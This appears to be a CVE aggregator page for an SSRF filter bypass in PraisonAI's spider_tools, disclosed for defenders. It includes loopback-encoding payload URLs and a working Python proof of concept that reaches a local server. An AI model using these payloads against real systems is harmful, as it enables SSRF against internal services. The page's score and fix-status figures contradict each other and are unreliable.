CVE-2026-47390

MEDIUMPre-NVD 5.55.5
EchelonGraph scoreLOW confidence

This medium-severity CVE scores 5.5 under the CNA's CVSS (NVD's own analysis pending). EPSS exploit probability: 0.0%, top 97% of all CVEs by exploit prediction. GitHub Security Advisory data not yet ingested — confidence will rise once GHSA publishes (typical lag: hours to days for open-source ecosystem CVEs; never for infrastructure-only CVEs).

Triggered by: NVD CVSS baseline
Sources: cna:github_m, epss
5.5
EchelonGraph verdictMonitorLow exploitation likelihood right now — keep watching.
  • Lower severity and no public exploit yet
CISA-KEV: Not listedEPSS: 0%CVSS: 5.5Exploit: NoneExposed: 0

No vendor fix yet — apply a workaround or compensating control (WAF / firewall / segmentation) and watch for a patch.

PraisonAI spider_tools SSRF protection bypass via alternate loopback host encodings

Summary

PraisonAI's spider_tools URL validation can be bypassed using alternate loopback host encodings.

The affected component is:

praisonaiagents/tools/spider_tools.py

The tool contains a URL validation function intended to block local or unsafe targets before fetching attacker-controlled URLs. However, the validation only blocks a small set of exact host strings such as localhost and 127.0.0.1.

It does not normalize hostnames, resolve DNS, parse numeric IPv4 variants, or validate the final resolved IP address before making the request.

As a result, URLs such as the following bypass the protection and still reach loopback services:

http://localhost.:8765/
http://127.1:8765/
http://0177.0.0.1:8765/
http://0x7f000001:8765/
http://2130706433:8765/

After the weak validation passes, scrape_page() calls requests.Session.get() on the attacker-controlled URL. This allows an attacker who can influence URLs passed to scrape_page, crawl, or extract_text to induce SSRF requests against loopback-only services.

This is a server-side request forgery protection bypass.

Details

The affected code is in:

praisonaiagents/tools/spider_tools.py

The vulnerable flow is:

attacker-controlled URL
  -> spider_tools._validate_url(...)
  -> weak exact-host blocklist check
  -> validation passes for alternate loopback encodings
  -> scrape_page(...)
  -> requests.Session.get(attacker_url)
  -> loopback service is reached

The validation appears to block only exact local hostnames or exact IPv4 strings. For example, it blocks simple forms such as:

localhost
127.0.0.1

However, equivalent loopback forms are not rejected before the request is made.

Confirmed bypass examples:

http://localhost.:8765/
http://127.1:8765/
http://0177.0.0.1:8765/
http://0x7f000001:8765/
http://2130706433:8765/

These values can resolve or be interpreted as loopback addresses by the HTTP client / underlying networking stack, while bypassing the string-based validation.

The issue is not that spider_tools can fetch arbitrary URLs. The issue is that it attempts to provide SSRF protection, but the protection can be bypassed with alternate representations of loopback addresses.

PoC

The following PoC is non-destructive. It starts a local HTTP server on 127.0.0.1:8765, then sends several alternate loopback URL forms through the real spider_tools` validation/fetch path.

The expected secure behavior is that all loopback variants should be rejected before any HTTP request is made.

The actual vulnerable behavior is that the alternate loopback forms pass validation and reach the local server.

Full PoC

#!/usr/bin/env python3
"""PoC for PraisonAI spider_tools localhost-alias SSRF bypass."""

from __future__ import annotations

import sys import threading from http.server import BaseHTTPRequestHandler, HTTPServer from pathlib import Path

REPO_ROOT = Path(__file__).resolve().parents[3] / "repos" / "praisonai" AGENTS_ROOT = REPO_ROOT / "src" / "praisonai-agents" SPIDER_TOOLS = AGENTS_ROOT / "praisonaiagents/tools/spider_tools.py"

def verify_source() -> None: expected = [ "def _validate_url", "requests.Session", ".get(", ]

text = SPIDER_TOOLS.read_text(encoding="utf-8") for needle in expected: if needle not in text: raise RuntimeError(f"source verification failed: {needle!r} not found in {SPIDER_TOOLS}")

class LocalHandler(BaseHTTPRequestHandler): hits: list[tuple[str, str | None]] = [] body = b"LOCAL-SPIDER-SSRF-SECRET"

def do_GET(self) -> None: # noqa: N802 self.__class__.hits.append((self.path, self.headers.get("Host"))) self.send_response(200) self.send_header("Content-Type", "text/plain") self.send_header("Content-Length", str(len(self.body))) self.end_headers() self.wfile.write(self.body)

def log_message(self, format: str, *args) -> None: # noqa: A003 return

def main() -> int: if not SPIDER_TOOLS.exists(): raise SystemExit("missing local PraisonAI source tree")

verify_source()

sys.path.insert(0, str(AGENTS_ROOT))

# Import the real shipped implementation. # # Depending on the exact public API exposed by spider_tools.py, # use the exported scrape function available in the local version. # The important path is: # # _validate_url(url) # -> requests.Session.get(url) # import praisonaiagents.tools.spider_tools as spider_tools

server = HTTPServer(("127.0.0.1", 8765), LocalHandler) thread = threading.Thread(target=server.serve_forever, daemon=True) thread.start()

candidates = [ "http://localhost.:8765/", "http://127.1:8765/", "http://0177.0.0.1:8765/", "http://0x7f000001:8765/", "http://2130706433:8765/", ]

try: for url in candidates: LocalHandler.hits.clear()

try: # Prefer the real public scraping API when available. if hasattr(spider_tools, "scrape_page"): result = spider_tools.scrape_page(url) elif hasattr(spider_tools, "extract_text"): result = spider_tools.extract_text(url) elif hasattr(spider_tools, "crawl"): result = spider_tools.crawl(url) else: raise RuntimeError("No expected spider_tools public fetch function found")

reached = bool(LocalHandler.hits) contains_secret = "LOCAL-SPIDER-SSRF-SECRET" in str(result)

print(f"{url} passed=True reached_loopback={reached} contains_secret={contains_secret}")

if not reached: raise SystemExit(f"[poc] MISS: {url} did not reach loopback server")

except Exception as exc: print(f"{url} blocked_or_failed={type(exc).__name__}: {exc}") raise

finally: server.shutdown() server.server_close() thread.join(timeout=1)

print("[poc] HIT: alternate loopback URL forms bypassed spider_tools SSRF protection") return 0

if __name__ == "__main__": raise SystemExit(main())

Confirmed local result

The following bypasses were confirmed locally:

localhost. True ok ok local hit
127.1 True ok ok local hit
0177.0.0.1 True ok ok local hit
0x7f000001 True ok ok local hit
2130706433 True ok ok local hit

This demonstrates that the validation allows alternate loopback representations and that the request reaches a local-only HTTP service.

Expected secure behavior

All loopback-equivalent addresses should be blocked before the HTTP request is made.

Examples that should be rejected:

http://localhost/
http://localhost./
http://127.0.0.1/
http://127.1/
http://0177.0.0.1/
http://0x7f000001/
http://2130706433/
http://[::1]/

Actual vulnerable behavior

Several alternate loopback representations pass validation and are fetched by the tool.

Impact

An attacker who can influence URLs passed to PraisonAI's spider tools can cause the process to send HTTP requests to loopback-only services.

Potential impact includes:

* SSRF against localhost-only admin panels or development servers; * access to local HTTP services that are not intended to be reachable remotely; * retrieval of local service responses into the agent/tool output; * possible access to cloud metadata or private-network services if equivalent bypasses exist for those address ranges in a given deployment.

The most direct confirmed impact is loopback SSRF through alternate hostname/IP encodings.

This report does not claim arbitrary TCP access or remote code execution. The demonstrated behavior is HTTP(S) SSRF through the spider URL-fetching feature.

CVSS v3
5.5
EG Score
5.5(low)
EPSS
2.6%
KEV
Not listed

Published

May 29, 2026

Last Modified

May 29, 2026

Vendor Advisories for CVE-2026-47390(1)

These vendors published their own advisory mentioning this CVE — often with vendor-specific remediation steps + affected product lists not in NVD.

Affected Packages

(2 across 1 ecosystem)
PyPI(2)
PackageVulnerable rangeFixed inDependents
praisonai0.0.1 ... 4.6.9 (731 versions)4.6.40
praisonaiagents0.0.1 ... 1.6.9 (568 versions)1.6.40

Data Freshness Timeline

(refreshed 3× in last 7d / 16× in last 30d)

Each row is a source pipeline that fetched or updated this CVE on that date, with what changed. For example, "NVD update" means NVD published or revised its analysis for this CVE; "MITRE cvelistV5" means we ingested or refreshed it from the CNA feed. Most recent first.

  1. 2026-07-16 01:46 UTCEG score recompute
  2. 2026-07-14 13:45 UTCEG score recompute
  3. 2026-07-11 16:55 UTCEG score recompute
  4. 2026-07-08 17:15 UTCEG score recompute
  5. 2026-07-02 03:42 UTCEG score recompute
  6. 2026-07-01 01:17 UTCEG score recompute
  7. 2026-06-30 00:52 UTCEG score recompute
  8. 2026-06-29 00:19 UTCEG score recompute
  9. 2026-06-28 00:51 UTCEG score recompute
  10. 2026-06-27 01:23 UTCEG score recompute
  11. 2026-06-26 01:49 UTCEG score recompute
  12. 2026-06-25 02:14 UTCEG score recompute
  13. 2026-06-24 02:45 UTCEG score recompute
  14. 2026-06-18 22:21 UTCEG score recompute
  15. 2026-06-17 20:06 UTCEG score recompute
  16. 2026-06-16 20:38 UTCEG score recompute
  17. 2026-06-15 21:09 UTCEG score recompute
  18. 2026-06-14 23:18 UTCEPSS rescore
  19. 2026-06-14 17:35 UTCEG score recompute
  20. 2026-06-13 23:00 UTCEPSS rescore
  21. 2026-06-13 18:06 UTCEG score recompute
  22. 2026-06-12 23:12 UTCEPSS rescore
  23. 2026-06-12 18:18 UTCEG score recompute
  24. 2026-06-11 18:50 UTCEG score recompute
  25. 2026-06-10 19:22 UTCEG score recompute
Show 11 more
  1. 2026-06-09 19:54 UTCEG score recompute
  2. 2026-06-08 20:25 UTCEG score recompute
  3. 2026-06-07 20:57 UTCEG score recompute
  4. 2026-06-06 21:29 UTCEG score recompute
  5. 2026-06-05 22:01 UTCEG score recompute
  6. 2026-06-04 22:33 UTCEG score recompute
  7. 2026-06-03 23:05 UTCEG score recompute
  8. 2026-06-02 23:37 UTCEG score recompute
  9. 2026-06-02 00:09 UTCEG score recompute
  10. 2026-06-01 00:41 UTCEG score recompute
  11. 2026-05-29 23:13 UTCEG score recompute

Frequently asked(5)

What is CVE-2026-47390?
CVE-2026-47390 is a medium vulnerability published on May 29, 2026. PraisonAI spider_tools SSRF protection bypass via alternate loopback host encodings Summary PraisonAI's spider_tools URL validation can be bypassed using alternate loopback host encodings. The affected component is: The tool contains a URL validation function intended to block local or unsafe…
When was CVE-2026-47390 disclosed?
CVE-2026-47390 was first published in the National Vulnerability Database on May 29, 2026. EchelonGraph re-ingests CVE updates from NVD on a 2-hour cycle, so this page reflects the latest published state.
Is CVE-2026-47390 actively exploited?
CVE-2026-47390 is not currently on CISA's Known Exploited Vulnerabilities catalog. FIRST EPSS estimates a 2.6% percentile likelihood of exploitation in the next 30 days — higher percentiles indicate greater predicted risk.
What is the CVSS score of CVE-2026-47390?
CVE-2026-47390 has a CVSS v4.0 base score of 5.5 (CNA self-assessment; NVD's own analysis pending). The EG score is currently aggregating — additional source signals are being incorporated as they become available..
How do I remediate CVE-2026-47390?
Patch to the fixed version published by the affected vendor. Where vendor advisories exist for CVE-2026-47390, EchelonGraph cross-links them in the Vendor Advisories panel below — those typically contain the canonical remediation steps, fixed version numbers, and any vendor-specific mitigations.

Dependency Blast Radius

See which npm, PyPI, Go, and Maven packages are affected by CVE-2026-47390

Explore →

Is Your Infrastructure Affected by CVE-2026-47390?

EchelonGraph automatically scans your cloud infrastructure and maps CVE exposure using blast radius analysis.